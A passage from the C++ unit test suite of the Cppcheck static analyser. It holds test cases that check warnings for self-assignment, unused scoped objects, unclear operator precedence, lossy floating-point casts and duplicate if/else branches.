\"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = 